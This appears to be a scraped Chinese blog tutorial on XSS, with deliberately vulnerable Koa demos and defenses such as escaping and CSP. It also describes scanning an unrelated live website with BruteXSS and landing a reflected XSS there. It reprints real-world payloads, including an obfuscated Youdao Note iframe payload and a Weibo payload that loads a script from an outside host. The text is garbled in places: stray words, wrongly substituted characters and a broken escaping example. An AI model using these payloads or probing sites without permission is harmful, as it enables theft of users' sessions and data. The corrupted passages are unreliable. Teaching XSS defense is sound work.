Web 安全防护战 - 浅谈XSS

因为以前太忙了,老是没有时间把本地写好的文章梳理整理后发出去。近期有时间了,才慢慢的整理后发出来(本地写的大多数时候是为了本身能看,哈哈哈)。javascript

文章首发于 Web 安全防护战 - 浅谈XSSphp

在进入 web 安全知识以前,建议对 HTTP 有所了解,能够看HTTP 入门体检,会对如下的内容有所帮助。html

XSS(Cross Site Scripting)

XSS,跨站脚本攻击。很常见的一种攻击方式,主要是经过脚本注入的方式进行攻击用户。一般有:反射型 XSS 、存储型 XSS和 DOM 型 XSS。——跨站脚本 - 维基百科前端

反射型XSS

反射型 XSS,为非持久型,能够把它想象成反射弧。从发起带有XSS脚本的请求,提交到服务端,服务端解析后响应随之返回浏览器,最后浏览器将其响应解析并执行。简单来讲,通常都是由 URI 参数直接注入的攻击。java

咱们用 Koa2 来模拟一下,如下是简单的示例代码:python

const Koa = require('koa');
const app = new Koa();

const template = ` <html> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> #{root} </body> </html> `;

app.use(async ctx => {
  ctx.body = template.replace('#{root}', `welcome: ` + ctx.query.xss);
});

app.listen(3000);
复制代码

在下面咱们能够看到,浏览器会报错,缘由是现代浏览器都会有 XSS 拦截的保护机制(这并不表明由于浏览器帮咱们作了而咱们就能够忽略 XSS 的知识)。react

所以咱们须要在服务器设置响应首部X-XSS-Protection。因为咱们是要模拟 XSS ,因此咱们先关闭 XSS 的保护 ctx.set('X-XSS-Protection', 0),而后就能够看到如下结果,弹出 alert 弹窗。git

除了上面直接执行脚本以外,还能够加载非同源的js文件,嵌入 iframe 页面等等。github

存储型XSS

存储型 XSS,为持久型。跟反射型 XSS 的惟一区别在因而否会保存在服务器,如数据库,内存等。而当别人访问该页面时,就会受到 XSS 代码的攻击。危害相比反射型更加严重,也更隐匿。web

咱们再次用Koa2来模拟一下,如下是简单的示例代码:

const Koa = require('koa');
const app = new Koa();

const template = ` <html> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> #{root} </body> </html> `;

// 模拟数据库
const database = {
  message: '',
}

app.use(async ctx => {
  let url = ctx.request.url;
  if (url.indexOf('/blog') === 0) {
    database.message = ctx.query.message;
    ctx.body = '发送成功~'
  } else {
    ctx.set('X-XSS-Protection', 0);
    ctx.body = template.replace('#{root}', `来自某某人的消息:` + database.message);
  }
});

app.listen(3000);
复制代码

大概的步骤是模拟类博客那种,黑客利用漏洞向网站发送带有 XSS 攻击脚本到服务器,服务器没有任何的安全校验直接保存到数据库 database,当其余用户访问带有该 XSS 脚本的页面时就被攻击了。在这里咱们发送一个带用 iframe 劫持的请求到服务器,用户收到响应时就会返回该 iframe 页面。

DOM 型 XSS

DOM 型 XSS,为非持久型,主要是利用前端的代码逻辑漏洞,攻击者植入恶意代码,而后浏览器解析恶意代码后执行形成的 XSS 攻击。

如下是简单的示例代码:

<html>
<head>
  <meta charset="UTF-8">
  <title>Document</title>
</head>
<body>
  DOM 型 XSS
</body>
<script type="text/javascript"> setTimeout('alert(1)'); setInterval('alert(2)'); eval('alert(3)'); </script>
</html>
复制代码

常见 XSS 注入点

  • HTML 节点内容,例如动态生成,里面包含用户输入信息,那么有可能会携带脚本;
  • HTML 节点属性,例如图片的 onerror、onclick 事件;超连接 href、输入框 value 属性;
  • JavaScript 代码,例如 JS 代码中存在后台注入的变量或如 react 的 dangerouslySetInnerHTML;
  • 富文本,例如富文本须要过滤须要正常展现的 html 代码以外的脚本;

常见危害

  • 获取页面数据;
  • 盗取 Cookie,获取敏感信息;
  • 劫持前端逻辑;
  • 假装身份,利用可信任来进行不容许的操做;
  • 进行 DDoS 攻击;
  • ……

常见防护方法

  • 浏览器自带防护,如咱们上面提到的,假如在服务器不设置X-XSS-Protection,现代浏览器也同样会为咱们拦截大部分的 XSS 攻击(反射型 XSS,并且只会拦截出如今 HTML 内容或属性中,同时也并非全部浏览器都支持);
  • 节点内容转义,通常会在入数据库以前转义或者在展现的时候转义,可是入库以前转义须要注意的是,一、客户端不只仅只有Web端,也有iOS等终端,因此可能会致使出现乱码;二、转义后的字符串跟长度跟预期的字符串长度发生变化,如’<‘ 转成 ‘<’,由1个字符变成了4个字符
// 展现转义简单处理
function escapeHtml (str) {
  if (!str) return '';
  return str.replace(/&/g, '&amp;')
           .replace(/</g, '&lt;')
           .replace(/>/g, '&gt;')
           .replace(/"/g, '&quot;')
           .replace(/'/g, '&#x27;')
           .replace(/\//g, '&#x2F;');
}
复制代码
  • JavaScript 内容转义,同理节点内容转义,可是处理方法稍微不一样,可使用JSON.stringify来处理;
  • Angular / Vue / React,不建议使用 [innerHTML]/v-html/dangerouslySetInnerHTML 来插入 html 元素;
  • eval()/setTimeout()/setInterval(),都是能够直接将字符串当代码段运行;
  • 富文本内容转义,相对于节点内容转义跟 JavaScript 内容转义,富文本内容转义比较复杂,可是大多数处理的思路都是相同的,设置转义白名单,对用户输入的内容进行过滤,可使用 js-xss 库;
  • CSP(Content-Security-Policy),能够参考内容安全策略( CSP ) - HTTP | MDN,关于 CSP 入门教程,能够前往阮一峰老师的博客 - CSP

整体来讲,咱们能作的只是下降 XSS 攻击的风险,XSS 的攻防战一直存在也十分复杂。最后给一下XSS过滤绕过速查表,祝你们看得开心(溜了~

实战 && 案例

是否你会存在这样的侥幸心理,看完上文后以为只要进行转义就好了,是的,其实只要进行转义就好了,问题就是从XSS过滤绕过速查表看出,过滤规则表仍是蛮多的。咱们来简单的实战一下。

XSS 检测工具备不少,有BruteXSSXSSerBeef-XSS等等,能够说靠本身在本地扫描本身本地项目是否存在 XSS 漏洞了。咱们在这里用BruteXSS来演示一下,仅作学习,切勿犯法。

实战

BruteXSS 是一个根据暴力注入参数的跨站点脚本检测工具,不只仅支持 GET 请求,还支持 POST 请求。它能从指定的词库中夹在多种 payload 进行注入,而且使用指定的 payload 和扫描检查这些存在的 XSS 漏洞的参数。

咱们从 github 下载BruteXSS,之因此下载这个是由于它有 wordlist-huge.txt,也就是咱们所说的 payload 词库,它约有5000条 payload 脚本。接着咱们还须要安装 Python 2.7,pip install coloramapip install Mechanize

执行 python brutexss.py,正常状况下会出现如下界面:

接着,搓搓期待的小手,咱们能够处处学(sa)习(ye)了。找了很久好不容易才找到一个,因而咱们就开始行动,具体的操做在这里就不讲解了,由于一步一步看操做,很简单。咱们找的是使用 GET 方法,这类漏洞比较好找,只要对方有输入框便可(如今的浏览器以及网站多多少少都会防护部分XSS,因此不太好找)。

能够看到参数 q 有一个遗漏的注入点,因而咱们就来试试看,是否真的成效。

(,,#゚Д゚),没想到竟然成了,我试了好多几乎都被后台拦截了,这个竟然成了(,,#゚Д゚)。能够看出经过 payload 给出的攻击脚本能顺利的弹出 1 这个框。这个就是典型的反射型 XSS 攻击。

除此以外,咱们还能够利用该工具在一些破破烂烂的边缘网站发帖来实现存储型 XSS攻击。可是这个工具也只是辅助工具,并不表明经过该工具扫描不出的就无漏洞,更多攻击者靠的但是技术以及经验。

案例

乌云不在的第三个年头,想它。 ———— 鲁迅

不只仅是破破烂烂的边缘小网站,也有大公司也存在过 XSS 攻击的案例。

案例1 有道云笔记分享出现 XSS 攻击漏洞

  1. 编辑完有道云笔记后保存而后经过FiddlerCharles进行抓包;
  2. 因为有道云在对 iframesrcdoc 没作处理,所以能够利用这个弱点来进行注入 payload,而后分享给别人,payload 以下;
  3. 修复的方法也很简单,就是对其针对 iframesrcdoc 增强过滤就好了;
<#<iframe class=&quot;&#x7a;&#x68;&#x6f;&#x75;zhou&quot; src='javAscript:confirm(1111)'/1111111wooyun/)"');' href=`vBscript:msgbox('"');` srcdoc='vBscr&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x29;&#x3b;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;ipt:msgbox('"');' alt=`

` yuyangzhou="<iframe" onclick=eval('<script>alert(/martinzhou/)</script>'); style=&quot;font-family:e/* &#*/x/*&#x0000000022;*/p/*&gt;*/r/*onkeydown=*/ession(confirm(5));"iframe>zhou&quot;>5</iframe>

``<div class=" \\'" src=&nbsp;javAscript:confirm('1"');&nbsp; href=`data:q;base64,PHNjcmlwdD5hbGVydCgnQHFhYicpPC9zY3JpcHQ+` srcdoc= javAscript:confirm('1"');  alt="zhou" yuyangzhou=``<div/onmouseover=prompt(1)` onload=alert('1"'); style=&nbsp;font-family:e/*;/*/x/*&#34;*/p/*&quot;*/r/*onclick=*/ession(confirm(0));""`<div/onmouseover=prompt(1)&nbsp;>0</div>
复制代码

案例2 新浪微博反射型 XSS

  1. 在新浪微博某个分享页,有这样的一个接口http://book.weibo.com/newcms/i/weibo_send.php
  2. 当错误时返回的数据结构为以下;
// 也就是说这个接口会校验`error.referer`
{"code":-1,"message":"\u8bf7\u6c42\u6e90\u4e0d\u5141\u8bb8[http:\/\/error.referer]"}
复制代码
  1. error.referer返回来后页面的响应报文为Content-Type: text/html; charset=utf-8,既然错误后的Content-Typetext/html,那么咱们就能够在此作文章;
  2. 虽然在 Chrome 和 Firefox 下,referrer 都会被进行 url encode致使没法插入HTML标签。可是该问题,能够在 IE 进行 XSS 攻击;
  3. 咱们在本身的服务器作一些处理,向咱们服务器发起请求,即在浏览器地址栏输入以下 URL;
// e=document.createElement("script");e.src="http://a.xxx.xyz/book.weibo.js",document.documentElement.appendChild(e)
// 将上面的转换为 char code 的形式
// 完整 URL 以下
http://a.xxx.xyz/?a=<img src=1 onerror=eval(String.fromCharCode(101,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,101,46,115,114,99,61,34,104,116,116,112,58,47,47,97,46,122,104,99,104,98,105,110,46,120,121,122,47,98,111,111,107,46,119,101,105,98,111,46,106,115,34,44,100,111,99,117,109,101,110,116,46,100,111,99,117,109,101,110,116,69,108,101,109,101,110,116,46,97,112,112,101,110,100,67,104,105,108,100,40,101,41))>
复制代码
  1. 请求后咱们的服务器会重定向跳转到http://book.weibo.com/newcms/i/weibo_send.php,这时候的 error.referer 就会被咱们植入 XSS 攻击脚本了。

小结

能够看到,大多数漏洞都是处于绕来绕去最后发现漏洞的地方没有进行过滤转义处理。正所谓 攻击千万条,安全第一条。过滤不规范,开发两行泪。

参考

相关文章
相关标签/搜索